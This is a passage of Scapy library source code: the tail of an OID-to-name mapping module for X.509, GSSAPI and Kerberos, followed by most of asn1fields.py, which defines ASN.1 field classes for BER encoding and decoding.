'1.3.6.1.4.1.29836.1.10': 'EV China Internet Network Information Center EV Certificates Root', '1.3.6.1.4.1.311.60.2.1.1': 'jurisdictionOfIncorporationLocalityName', '1.3.6.1.4.1.311.60.2.1.2': 'jurisdictionOfIncorporationStateOrProvinceName', '1.3.6.1.4.1.311.60.2.1.3': 'jurisdictionOfIncorporationCountryName', '1.3.6.1.4.1.34697.2.1': 'EV AffirmTrust Commercial', '1.3.6.1.4.1.34697.2.2': 'EV AffirmTrust Networking', '1.3.6.1.4.1.34697.2.3': 'EV AffirmTrust Premium', '1.3.6.1.4.1.34697.2.4': 'EV AffirmTrust Premium ECC', '1.3.6.1.4.1.36305.2': 'EV Certificate Authority of WoSign', '1.3.6.1.4.1.40869.1.1.22.3': 'EV TWCA Roots', '1.3.6.1.4.1.4146.1.1': 'EV GlobalSign Root CAs', '1.3.6.1.4.1.4788.2.202.1': 'EV D-TRUST Root Class 3 CA 2 EV 2009', '1.3.6.1.4.1.6334.1.100.1': 'EV Cybertrust Global Root', '1.3.6.1.4.1.6449.1.2.1.5.1': 'EV USERTrust Certification Authorities', '1.3.6.1.4.1.781.1.2.1.8.1': 'EV Network Solutions Certificate Authority', '1.3.6.1.4.1.782.1.2.1.8.1': 'EV AddTrust External CA Root', '1.3.6.1.4.1.7879.13.24.1': 'EV T-Telessec GlobalRoot Class 3', '1.3.6.1.4.1.8024.0.2.100.1.2': 'EV QuoVadis Roots', '2.16.528.1.1003.1.2.7': 'EV Staat der Nederlanden EV Root CA', '2.16.578.1.26.1.3.3': 'EV Buypass Class 3', '2.16.756.1.83.21.0': 'EV Swisscom Root EV CA 2', '2.16.756.1.89.1.2.1.1': 'EV SwissSign Gold CA - G2', '2.16.792.3.0.4.1.1.4': 'EV E-Tugra Certification Authority', '2.16.840.1.113733.1.7.23.6': 'EV VeriSign Certification Authorities', '2.16.840.1.113733.1.7.48.1': 'EV thawte CAs', '2.16.840.1.114028.10.1.2': 'EV Entrust Certification Authority', '2.16.840.1.114171.500.9': 'EV Wells Fargo WellsSecure Public Root Certification Authority', '2.16.840.1.114404.1.1.2.4.1': 'EV XRamp Global Certification Authority', '2.16.840.1.114412.2.1': 'EV DigiCert High Assurance EV Root CA', '2.16.840.1.114413.1.7.23.3': 'EV ValiCert Class 2 Policy Validation Authority', '2.16.840.1.114414.1.7.23.3': 'EV Starfield Certificate Authority', '2.16.840.1.114414.1.7.24.3': 'EV Starfield Service Certificate Authority' } # gssapi # gssapi_oids = { '1.2.840.48018.1.2.2': 'MS KRB5 - Microsoft Kerberos 5', '1.2.840.113554.1.2.2': 'Kerberos 5', '1.2.840.113554.1.2.2.3': 'Kerberos 5 - User to User', '1.3.6.1.5.2.5': 'Kerberos 5 - IAKERB', '1.3.6.1.5.5.2': 'SPNEGO - Simple Protected Negotiation', '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider', '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism', } # kerberos # kerberos_oids = { "1.3.6.1.5.2.3.1": "id-pkinit-authData", "1.3.6.1.5.2.3.2": "id-pkinit-DHKeyData", "1.3.6.1.5.2.3.3": "id-pkinit-rkeyData", "1.3.6.1.5.2.3.4": "id-pkinit-KPClientAuth", "1.3.6.1.5.2.3.5": "id-pkinit-KPKdc", # RFC8363 "1.3.6.1.5.2.3.6": "id-pkinit-kdf", "1.3.6.1.5.2.3.6.1": "id-pkinit-kdf-sha1", "1.3.6.1.5.2.3.6.2": "id-pkinit-kdf-sha256", "1.3.6.1.5.2.3.6.3": "id-pkinit-kdf-sha512", "1.3.6.1.5.2.3.6.4": "id-pkinit-kdf-sha384", } x509_oids_sets = [ pkcs1_oids, secsig_oids, nist_oids, thawte_oids, pkcs3_oids, pkcs7_oids, pkcs9_oids, encAlgs_oids, attributeType_oids, certificateExtension_oids, certExt_oids, certPkixAd_oids, certPkixKp_oids, certPkixCmc_oids, certPkixCct_oids, certPkixPe_oids, certPkixQt_oids, certPolicy_oids, certIpsec_oids, certTransp_oids, evPolicy_oids, x962KeyType_oids, x962Signature_oids, x942KeyType_oids, ansiX962Curve_oids, certicomCurve_oids, gssapi_oids, kerberos_oids, ] x509_oids = {} for oids_set in x509_oids_sets: x509_oids.update(oids_set) conf.mib = MIBDict(_name="MIB", **x509_oids) ######################### # Hash mapping helper # ######################### # This dict enables static access to string references to the hash functions # of some algorithms from pkcs1_oids and x962Signature_oids. hash_by_oid = { "1.2.840.113549.1.1.2": "md2", "1.2.840.113549.1.1.3": "md4", "1.2.840.113549.1.1.4": "md5", "1.2.840.113549.1.1.5": "sha1", "1.2.840.113549.1.1.11": "sha256", "1.2.840.113549.1.1.12": "sha384", "1.2.840.113549.1.1.13": "sha512", "1.2.840.113549.1.1.14": "sha224", "1.2.840.10045.4.1": "sha1", "1.2.840.10045.4.3.1": "sha224", "1.2.840.10045.4.3.2": "sha256", "1.2.840.10045.4.3.3": "sha384", "1.2.840.10045.4.3.4": "sha512" } ================================================ FILE: scapy/asn1fields.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Acknowledgment: Maxence Tury """ Classes that implement ASN.1 data structures. """ import copy from functools import reduce from scapy.asn1.asn1 import ( ASN1_BIT_STRING, ASN1_BOOLEAN, ASN1_Class, ASN1_Class_UNIVERSAL, ASN1_Error, ASN1_INTEGER, ASN1_NULL, ASN1_OID, ASN1_Object, ASN1_STRING, ) from scapy.asn1.ber import ( BER_Decoding_Error, BER_id_dec, BER_tagging_dec, BER_tagging_enc, ) from scapy.base_classes import BasePacket from scapy.volatile import ( GeneralizedTime, RandChoice, RandInt, RandNum, RandOID, RandString, RandField, ) from scapy import packet from typing import ( Any, AnyStr, Callable, Dict, Generic, List, Optional, Tuple, Type, TypeVar, Union, cast, TYPE_CHECKING, ) if TYPE_CHECKING: from scapy.asn1packet import ASN1_Packet class ASN1F_badsequence(Exception): pass class ASN1F_element(object): pass ########################## # Basic ASN1 Field # ########################## _I = TypeVar('_I') # Internal storage _A = TypeVar('_A') # ASN.1 object class ASN1F_field(ASN1F_element, Generic[_I, _A]): holds_packets = 0 islist = 0 ASN1_tag = ASN1_Class_UNIVERSAL.ANY context = ASN1_Class_UNIVERSAL # type: Type[ASN1_Class] def __init__(self, name, # type: str default, # type: Optional[_A] context=None, # type: Optional[Type[ASN1_Class]] implicit_tag=None, # type: Optional[int] explicit_tag=None, # type: Optional[int] flexible_tag=False, # type: Optional[bool] size_len=None, # type: Optional[int] ): # type: (...) -> None if context is not None: self.context = context self.name = name if default is None: self.default = default # type: Optional[_A] elif isinstance(default, ASN1_NULL): self.default = default # type: ignore else: self.default = self.ASN1_tag.asn1_object(default) # type: ignore self.size_len = size_len self.flexible_tag = flexible_tag if (implicit_tag is not None) and (explicit_tag is not None): err_msg = "field cannot be both implicitly and explicitly tagged" raise ASN1_Error(err_msg) self.implicit_tag = implicit_tag and int(implicit_tag) self.explicit_tag = explicit_tag and int(explicit_tag) # network_tag gets useful for ASN1F_CHOICE self.network_tag = int(implicit_tag or explicit_tag or self.ASN1_tag) self.owners = [] # type: List[Type[ASN1_Packet]] def register_owner(self, cls): # type: (Type[ASN1_Packet]) -> None self.owners.append(cls) def i2repr(self, pkt, x): # type: (ASN1_Packet, _I) -> str return repr(x) def i2h(self, pkt, x): # type: (ASN1_Packet, _I) -> Any return x def m2i(self, pkt, s): # type: (ASN1_Packet, bytes) -> Tuple[_A, bytes] """ The good thing about safedec is that it may still decode ASN1 even if there is a mismatch between the expected tag (self.ASN1_tag) and the actual tag; the decoded ASN1 object will simply be put into an ASN1_BADTAG object. However, safedec prevents the raising of exceptions needed for ASN1F_optional processing. Thus we use 'flexible_tag', which should be False with ASN1F_optional. Regarding other fields, we might need to know whether encoding went as expected or not. Noticeably, input methods from cert.py expect certain exceptions to be raised. Hence default flexible_tag is False. """ diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag, _fname=self.name) if diff_tag is not None: # this implies that flexible_tag was True if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) if self.flexible_tag: return codec.safedec(s, context=self.context) # type: ignore else: return codec.dec(s, context=self.context) # type: ignore def i2m(self, pkt, x): # type: (ASN1_Packet, Union[bytes, _I, _A]) -> bytes if x is None: return b"" if isinstance(x, ASN1_Object): if (self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY or x.tag == ASN1_Class_UNIVERSAL.RAW or x.tag == ASN1_Class_UNIVERSAL.ERROR or self.ASN1_tag == x.tag): s = x.enc(pkt.ASN1_codec) else: raise ASN1_Error("Encoding Error: got %r instead of an %r for field [%s]" % (x, self.ASN1_tag, self.name)) # noqa: E501 else: s = self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x, size_len=self.size_len) return BER_tagging_enc(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag) def any2i(self, pkt, x): # type: (ASN1_Packet, Any) -> _I return cast(_I, x) def extract_packet(self, cls, # type: Type[ASN1_Packet] s, # type: bytes _underlayer=None # type: Optional[ASN1_Packet] ): # type: (...) -> Tuple[ASN1_Packet, bytes] try: c = cls(s, _underlayer=_underlayer) except ASN1F_badsequence: c = packet.Raw(s, _underlayer=_underlayer) # type: ignore cpad = c.getlayer(packet.Raw) s = b"" if cpad is not None: s = cpad.load if cpad.underlayer: del cpad.underlayer.payload return c, s def build(self, pkt): # type: (ASN1_Packet) -> bytes return self.i2m(pkt, getattr(pkt, self.name)) def dissect(self, pkt, s): # type: (ASN1_Packet, bytes) -> bytes v, s = self.m2i(pkt, s) self.set_val(pkt, v) return s def do_copy(self, x): # type: (Any) -> Any if isinstance(x, list): x = x[:] for i in range(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x if hasattr(x, "copy"): return x.copy() return x def set_val(self, pkt, val): # type: (ASN1_Packet, Any) -> None setattr(pkt, self.name, val) def is_empty(self, pkt): # type: (ASN1_Packet) -> bool return getattr(pkt, self.name) is None def get_fields_list(self): # type: () -> List[ASN1F_field[Any, Any]] return [self] def __str__(self): # type: () -> str return repr(self) def randval(self): # type: () -> RandField[_I] return cast(RandField[_I], RandInt()) def copy(self): # type: () -> ASN1F_field[_I, _A] return copy.copy(self) ############################ # Simple ASN1 Fields # ############################ class ASN1F_BOOLEAN(ASN1F_field[bool, ASN1_BOOLEAN]): ASN1_tag = ASN1_Class_UNIVERSAL.BOOLEAN def randval(self): # type: () -> RandChoice return RandChoice(True, False) class ASN1F_INTEGER(ASN1F_field[int, ASN1_INTEGER]): ASN1_tag = ASN1_Class_UNIVERSAL.INTEGER def randval(self): # type: () -> RandNum return RandNum(-2**64, 2**64 - 1) class ASN1F_enum_INTEGER(ASN1F_INTEGER): def __init__(self, name, # type: str default, # type: ASN1_INTEGER enum, # type: Dict[int, str] context=None, # type: Optional[Any] implicit_tag=None, # type: Optional[Any] explicit_tag=None, # type: Optional[Any] ): # type: (...) -> None super(ASN1F_enum_INTEGER, self).__init__( name, default, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag ) i2s = self.i2s = {} # type: Dict[int, str] s2i = self.s2i = {} # type: Dict[str, int] if isinstance(enum, list): keys = range(len(enum)) else: keys = list(enum) if any(isinstance(x, str) for x in keys): i2s, s2i = s2i, i2s # type: ignore for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k def i2m(self, pkt, # type: ASN1_Packet s, # type: Union[bytes, str, int, ASN1_INTEGER] ): # type: (...) -> bytes if not isinstance(s, str): vs = s else: vs = self.s2i[s] return super(ASN1F_enum_INTEGER, self).i2m(pkt, vs) def i2repr(self, pkt, # type: ASN1_Packet x, # type: Union[str, int] ): # type: (...) -> str if x is not None and isinstance(x, ASN1_INTEGER): r = self.i2s.get(x.val) if r: return "'%s' %s" % (r, repr(x)) return repr(x) class ASN1F_BIT_STRING(ASN1F_field[str, ASN1_BIT_STRING]): ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING def __init__(self, name, # type: str default, # type: Optional[Union[ASN1_BIT_STRING, AnyStr]] default_readable=True, # type: bool context=None, # type: Optional[Any] implicit_tag=None, # type: Optional[int] explicit_tag=None, # type: Optional[int] ): # type: (...) -> None super(ASN1F_BIT_STRING, self).__init__( name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag ) if isinstance(default, (bytes, str)): self.default = ASN1_BIT_STRING(default, readable=default_readable) else: self.default = default def randval(self): # type: () -> RandString return RandString(RandNum(0, 1000)) class ASN1F_STRING(ASN1F_field[str, ASN1_STRING]): ASN1_tag = ASN1_Class_UNIVERSAL.STRING def randval(self): # type: () -> RandString return RandString(RandNum(0, 1000)) class ASN1F_NULL(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.NULL class ASN1F_OID(ASN1F_field[str, ASN1_OID]): ASN1_tag = ASN1_Class_UNIVERSAL.OID def randval(self): # type: () -> RandOID return RandOID() class ASN1F_ENUMERATED(ASN1F_enum_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1F_UTF8_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTF8_STRING class ASN1F_NUMERIC_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class ASN1F_PRINTABLE_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1F_T61_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1F_VIDEOTEX_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class ASN1F_IA5_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1F_GENERAL_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.GENERAL_STRING class ASN1F_UTC_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME def randval(self): # type: ignore # type: () -> GeneralizedTime return GeneralizedTime() class ASN1F_GENERALIZED_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME def randval(self): # type: ignore # type: () -> GeneralizedTime return GeneralizedTime() class ASN1F_ISO646_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.ISO646_STRING class ASN1F_UNIVERSAL_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class ASN1F_BMP_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.BMP_STRING class ASN1F_SEQUENCE(ASN1F_field[List[Any], List[Any]]): # Here is how you could decode a SEQUENCE # with an unknown, private high-tag prefix : # class PrivSeq(ASN1_Packet): # ASN1_codec = ASN1_Codecs.BER # ASN1_root = ASN1F_SEQUENCE( # , # ... # , # explicit_tag=0, # flexible_tag=True) # Because we use flexible_tag, the value of the explicit_tag does not matter. # noqa: E501 ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE holds_packets = 1 def __init__(self, *seq, **kwargs): # type: (*Any, **Any) -> None name = "dummy_seq_name" default = [field.default for field in seq] super(ASN1F_SEQUENCE, self).__init__( name, default, **kwargs ) self.seq = seq self.islist = len(seq) > 1 def __repr__(self): # type: () -> str return "<%s%r>" % (self.__class__.__name__, self.seq) def is_empty(self, pkt): # type: (ASN1_Packet) -> bool return all(f.is_empty(pkt) for f in self.seq) def get_fields_list(self): # type: () -> List[ASN1F_field[Any, Any]] return reduce(lambda x, y: x + y.get_fields_list(), self.seq, []) def m2i(self, pkt, s): # type: (Any, bytes) -> Tuple[Any, bytes] """ ASN1F_SEQUENCE behaves transparently, with nested ASN1_objects being dissected one by one. Because we use obj.dissect (see loop below) instead of obj.m2i (as we trust dissect to do the appropriate set_vals) we do not directly retrieve the list of nested objects. Thus m2i returns an empty list (along with the proper remainder). It is discarded by dissect() and should not be missed elsewhere. """ diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag, _fname=pkt.name) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i, s, remain = codec.check_type_check_len(s) if len(s) == 0: for obj in self.seq: obj.set_val(pkt, None) else: for obj in self.seq: try: s = obj.dissect(pkt, s) except ASN1F_badsequence: break if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return [], remain def dissect(self, pkt, s): # type: (Any, bytes) -> bytes _, x = self.m2i(pkt, s) return x def build(self, pkt): # type: (ASN1_Packet) -> bytes s = reduce(lambda x, y: x + y.build(pkt), self.seq, b"") return super(ASN1F_SEQUENCE, self).i2m(pkt, s) class ASN1F_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_UNIVERSAL.SET _SEQ_T = Union[ 'ASN1_Packet', Type[ASN1F_field[Any, Any]], 'ASN1F_PACKET', ASN1F_field[Any, Any], ] class ASN1F_SEQUENCE_OF(ASN1F_field[List[_SEQ_T], List[ASN1_Object[Any]]]): """ Two types are allowed as cls: ASN1_Packet, ASN1F_field """ ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE islist = 1 def __init__(self, name, # type: str default, # type: Any cls, # type: _SEQ_T context=None, # type: Optional[Any] implicit_tag=None, # type: Optional[Any] explicit_tag=None, # type: Optional[Any] ): # type: (...) -> None if isinstance(cls, type) and issubclass(cls, ASN1F_field) or \ isinstance(cls, ASN1F_field): if isinstance(cls, type): self.fld = cls(name, b"") else: self.fld = cls self._extract_packet = lambda s, pkt: self.fld.m2i(pkt, s) self.holds_packets = 0 elif hasattr(cls, "ASN1_root") or callable(cls): self.cls = cast("Type[ASN1_Packet]", cls) self._extract_packet = lambda s, pkt: self.extract_packet( self.cls, s, _underlayer=pkt) self.holds_packets = 1 else: raise ValueError("cls should be an ASN1_Packet or ASN1_field") super(ASN1F_SEQUENCE_OF, self).__init__( name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag ) self.default = default def is_empty(self, pkt, # type: ASN1_Packet ): # type: (...) -> bool return ASN1F_field.is_empty(self, pkt) def m2i(self, pkt, # type: ASN1_Packet s, # type: bytes ): # type: (...) -> Tuple[List[Any], bytes] diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i, s, remain = codec.check_type_check_len(s) lst = [] while s: c, s = self._extract_packet(s, pkt) # type: ignore if c: lst.append(c) if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return lst, remain def build(self, pkt): # type: (ASN1_Packet) -> bytes val = getattr(pkt, self.name) if isinstance(val, ASN1_Object) and \ val.tag == ASN1_Class_UNIVERSAL.RAW: s = cast(Union[List[_SEQ_T], bytes], val) elif val is None: s = b"" else: s = b"".join(bytes(i) for i in val) return self.i2m(pkt, s) def i2repr(self, pkt, x): # type: (ASN1_Packet, _I) -> str if self.holds_packets: return super(ASN1F_SEQUENCE_OF, self).i2repr(pkt, x) # type: ignore elif x is None: return "[]" else: return "[%s]" % ", ".join( self.fld.i2repr(pkt, x) for x in x # type: ignore ) def randval(self): # type: () -> Any if self.holds_packets: return packet.fuzz(self.cls()) else: return self.fld.randval() def __repr__(self): # type: () -> str return "<%s %s>" % (self.__class__.__name__, self.name) class ASN1F_SET_OF(ASN1F_SEQUENCE_OF): ASN1_tag = ASN1_Class_UNIVERSAL.SET class ASN1F_IPADDRESS(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1F_TIME_TICKS(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS ############################# # Complex ASN1 Fields # ############################# class ASN1F_optional(ASN1F_element): """ ASN.1 field that is optional. """ def __init__(self, field): # type: (ASN1F_field[Any, Any]) -> None field.flexible_tag = False self._field = field def __getattr__(self, attr): # type: (str) -> Optional[Any] return getattr(self._field, attr) def m2i(self, pkt, s): # type: (ASN1_Packet, bytes) -> Tuple[Any, bytes] try: return self._field.m2i(pkt, s) except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): # ASN1_Error may be raised by ASN1F_CHOICE return None, s def dissect(self, pkt, s): # type: (ASN1_Packet, bytes) -> bytes try: return self._field.dissect(pkt, s) except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): self._field.set_val(pkt, None) return s def build(self, pkt): # type: (ASN1_Packet) -> bytes if self._field.is_empty(pkt): return b"" return self._field.build(pkt) def any2i(self, pkt, x): # type: (ASN1_Packet, Any) -> Any return self._field.any2i(pkt, x) def i2repr(self, pkt, x): # type: (ASN1_Packet, Any) -> str return self._field.i2repr(pkt, x) class ASN1F_omit(ASN1F_field[None, None]): """ ASN.1 field that is not specified. This is simply omitted on the network. This is different from ASN1F_NULL which has a network representation. """ def m2i(self, pkt, s): # type: (ASN1_Packet, bytes) -> Tuple[None, bytes] return None, s def i2m(self, pkt, x): # type: (ASN1_Packet, Optional[bytes]) -> bytes return b"" _CHOICE_T = Union['ASN1_Packet', Type[ASN1F_field[Any, Any]], 'ASN1F_PACKET'] class ASN1F_CHOICE(ASN1F_field[_CHOICE_T, ASN1_Object[Any]]): """ Multiple types are allowed: ASN1_Packet, ASN1F_field and ASN1F_PACKET(), See layers/x509.py for examples. Other ASN1F_field instances than ASN1F_PACKET instances must not be used. """ holds_packets = 1 ASN1_tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, name, default, *args, **kwargs): # type: (str, Any, *_CHOICE_T, **Any) -> None if "implicit_tag" in kwargs: err_msg = "ASN1F_CHOICE has been called with an implicit_tag" raise ASN1_Error(err_msg) self.implicit_tag = None for kwarg in ["context", "explicit_tag"]: setattr(self, kwarg, kwargs.get(kwarg)) super(ASN1F_CHOICE, self).__init__( name, None, context=self.context, explicit_tag=self.explicit_tag ) self.default = default self.current_choice = None self.choices = {} # type: Dict[int, _CHOICE_T] self.pktchoices = {} for p in args: if hasattr(p, "ASN1_root"): p = cast('ASN1_Packet', p) # should be ASN1_Packet if hasattr(p.ASN1_root, "choices"): root = cast(ASN1F_CHOICE, p.ASN1_root) for k, v in root.choices.items(): # ASN1F_CHOICE recursion self.choices[k] = v else: self.choices[p.ASN1_root.network_tag] = p elif hasattr(p, "ASN1_tag"): if isinstance(p, type): # should be ASN1F_field class self.choices[int(p.ASN1_tag)] = p else: # should be ASN1F_field instance self.choices[p.network_tag] = p self.pktchoices[hash(p.cls)] = (p.implicit_tag, p.explicit_tag) # noqa: E501 else: raise ASN1_Error("ASN1F_CHOICE: no tag found for one field") def m2i(self, pkt, s): # type: (ASN1_Packet, bytes) -> Tuple[ASN1_Object[Any], bytes] """ First we have to retrieve the appropriate choice. Then we extract the field/packet, according to this choice. """ if len(s) == 0: raise ASN1_Error("ASN1F_CHOICE: got empty string") _, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, explicit_tag=self.explicit_tag) tag, _ = BER_id_dec(s) if tag in self.choices: choice = self.choices[tag] else: if self.flexible_tag: choice = ASN1F_field else: raise ASN1_Error( "ASN1F_CHOICE: unexpected field in '%s' " "(tag %s not in possible tags %s)" % ( self.name, tag, list(self.choices.keys()) ) ) if hasattr(choice, "ASN1_root"): # we don't want to import ASN1_Packet in this module... return self.extract_packet(choice, s, _underlayer=pkt) # type: ignore elif isinstance(choice, type): return choice(self.name, b"").m2i(pkt, s) else: # XXX check properly if this is an ASN1F_PACKET return choice.m2i(pkt, s) def i2m(self, pkt, x): # type: (ASN1_Packet, Any) -> bytes if x is None: s = b"" else: s = bytes(x) if hash(type(x)) in self.pktchoices: imp, exp = self.pktchoices[hash(type(x))] s = BER_tagging_enc(s, implicit_tag=imp, explicit_tag=exp) return BER_tagging_enc(s, explicit_tag=self.explicit_tag) def randval(self): # type: () -> RandChoice randchoices = [] for p in self.choices.values(): if hasattr(p, "ASN1_root"): # should be ASN1_Packet class randchoices.append(packet.fuzz(p())) # type: ignore elif hasattr(p, "ASN1_tag"): if isinstance(p, type): # should be (basic) ASN1F_field class randchoices.append(p("dummy", None).randval()) else: # should be ASN1F_PACKET instance randchoices.append(p.randval()) return RandChoice(*randchoices) class ASN1F_PACKET(ASN1F_field['ASN1_Packet', Optional['ASN1_Packet']]): holds_packets = 1 def __init__(self, name, # type: str default, # type: Optional[ASN1_Packet] cls, # type: Type[ASN1_Packet] context=None, # type: Optional[Any] implicit_tag=None, # type: Optional[int] explicit_tag=None, # type: Optional[int] next_cls_cb=None, # type: Optional[Callable[[ASN1_Packet], Type[ASN1_Packet]]] # noqa: E501 ): # type: (...) -> None self.cls = cls self.next_cls_cb = next_cls_cb super(ASN1F_PACKET, self).__init__( name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag ) if implicit_tag is None and explicit_tag is None and cls is not None: if cls.ASN1_root.ASN1_tag == ASN1_Class_UNIVERSAL.SEQUENCE: self.network_tag = 16 | 0x20 # 16 + CONSTRUCTED self.default = default def m2i(self, pkt, s): # type: (ASN1_Packet, bytes) -> Tuple[Any, bytes] if self.next_cls_cb: cls = self.next_cls_cb(pkt) or self.cls else: cls = self.cls if not hasattr(cls, "ASN1_root"): # A normal Packet (!= ASN1) return self.extract_packet(cls, s, _underlayer=pkt) diff_tag, s = BER_tagging_dec(s, hidden_tag=cls.ASN1_root.ASN1_tag, # noqa: E501 implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag, _fname=self.name) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag if not s: return None, s return self.extract_packet(cls, s, _underlayer=pkt) def i2m(self, pkt, # type: ASN1_Packet x # type: Union[bytes, ASN1_Packet, None, ASN1_Object[Optional[ASN1_Packet]]] # noqa: E501 ): # type: (...) -> bytes if x is None: s = b"" elif isinstance(x, bytes): s = x elif isinstance(x, ASN1_Object): if x.val: s = bytes(x.val) else: s = b"" else: s = bytes(x) if not hasattr(x, "ASN1_root"): # A normal Packet (!= ASN1) return s return BER_tagging_enc(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag) def any2i(self, pkt, # type: ASN1_Packet x # type: Union[bytes, ASN1_Packet, None, ASN1_Object[Optional[ASN1_Packet]]] # noqa: E501 ): # type: (...) -> 'ASN1_Packet' if hasattr(x, "add_underlayer"): x.add_underlayer(pkt) # type: ignore return super(ASN1F_PACKET, self).any2i(pkt, x) def randval(self): # type: ignore # type: () -> ASN1_Packet return packet.fuzz(self.cls()) class ASN1F_BIT_STRING_ENCAPS(ASN1F_BIT_STRING): """ We may emulate simple string encapsulation with explicit_tag=0x04, but we need a specific class for bit strings because of unused bits, etc. """ ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING def __init__(self, name, # type: str default, # type: Optional[ASN1_Packet] cls, # type: Type[ASN1_Packet] context=None, # type: Optional[Any] implicit_tag=None, # type: Optional[int] explicit_tag=None, # type: Optional[int] ): # type: (...) -> None self.cls = cls super(ASN1F_BIT_STRING_ENCAPS, self).__init__( # type: ignore name, default and bytes(default), context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag ) def m2i(self, pkt, s): # type: ignore # type: (ASN1_Packet, bytes) -> Tuple[Optional[ASN1_Packet], bytes] bit_string, remain = super(ASN1F_BIT_STRING_ENCAPS, self).m2i(pkt, s) if len(bit_string.val) % 8 != 0: raise BER_Decoding_Error("wrong bit string", remaining=s) if bit_string.val_readable: p, s = self.extract_packet(self.cls, bit_string.val_readable, _underlayer=pkt) else: return None, bit_string.val_readable if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return p, remain def i2m(self, pkt, x): # type: ignore # type: (ASN1_Packet, Optional[ASN1_BIT_STRING]) -> bytes if not isinstance(x, ASN1_BIT_STRING): x = ASN1_BIT_STRING( b"" if x is None else bytes(x), # type: ignore readable=True, ) return super(ASN1F_BIT_STRING_ENCAPS, self).i2m(pkt, x) class ASN1F_FLAGS(ASN1F_BIT_STRING): def __init__(self, name, # type: str default, # type: Optional[str] mapping, # type: List[str] context=None, # type: Optional[Any] implicit_tag=None, # type: Optional[int] explicit_tag=None, # type: Optional[Any] ): # type: (...) -> None self.mapping = mapping super(ASN1F_FLAGS, self).__init__( name, default, default_readable=False, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag ) def any2i(self, pkt, x): # type: (ASN1_Packet, Any) -> str if isinstance(x, str): if any(y not in ["0", "1"] for y in x): # resolve the flags value = ["0"] * len(self.mapping) for i in x.split("+"): value[self.mapping.index(i)] = "1" x = "".join(value) x = ASN1_BIT_STRING(x) return super(ASN1F_FLAGS, self).any2i(pkt, x) def get_flags(self, pkt): # type: (ASN1_Packet) -> List[str] fbytes = getattr(pkt, self.name).val return [self.mapping[i] for i, positional in enumerate(fbytes) if positional == '1' and i < len(self.mapping)] def i2repr(self, pkt, x): # type: (ASN1_Packet, Any) -> str if x is not None: pretty_s = ", ".join(self.get_flags(pkt)) return pretty_s + " " + repr(x) return repr(x) class ASN1F_STRING_PacketField(ASN1F_STRING): """ ASN1F_STRING that holds 